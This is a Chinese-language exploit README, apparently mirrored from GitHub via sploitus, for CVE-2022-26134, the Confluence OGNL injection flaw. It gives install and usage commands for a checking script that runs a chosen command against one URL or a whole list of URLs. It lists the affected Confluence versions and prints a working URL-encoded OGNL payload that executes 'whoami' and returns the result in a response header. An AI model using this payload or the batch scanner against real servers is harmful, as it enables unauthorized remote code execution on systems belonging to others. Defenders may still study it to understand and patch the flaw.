Share
## https://sploitus.com/exploit?id=AFDDFBE2-17E6-5231-9333-FAD2E18813C5
CVE-2022-26134 - Confluence OGNL injection vulnerability

# 脚本使用
安装python库

pip install -r requirements.txt

漏洞验证

python3 CVE-2022-26134_check.py -u url -c whoami

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/f272f24b-5883-4851-ad59-dd39b3b4d30c)


批量扫描

python3 CVE-2022-26134_check.py -f url.txt -c whoami

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/3e2b851f-cf8c-43cd-a635-cf0b4cafbd35)


# 影响版本
Confluence Server and Data Center >= 1.3.0

Confluence Server and Data Center < 7.4.17

Confluence Server and Data Center < 7.13.7

Confluence Server and Data Center < 7.14.3

Confluence Server and Data Center < 7.15.2

Confluence Server and Data Center < 7.16.4

Confluence Server and Data Center < 7.17.4

Confluence Server and Data Center < 7.18.1

# 漏洞复现

payload:

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/

访问Confluence服务,抓取返回码为302的数据包,发送带有payload的数据包,返回包中X-Qualys-Response参数会返回当前服务器用户名

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/eced3f62-aced-4d67-8678-e7eba15f08af)


# 漏洞原理

攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)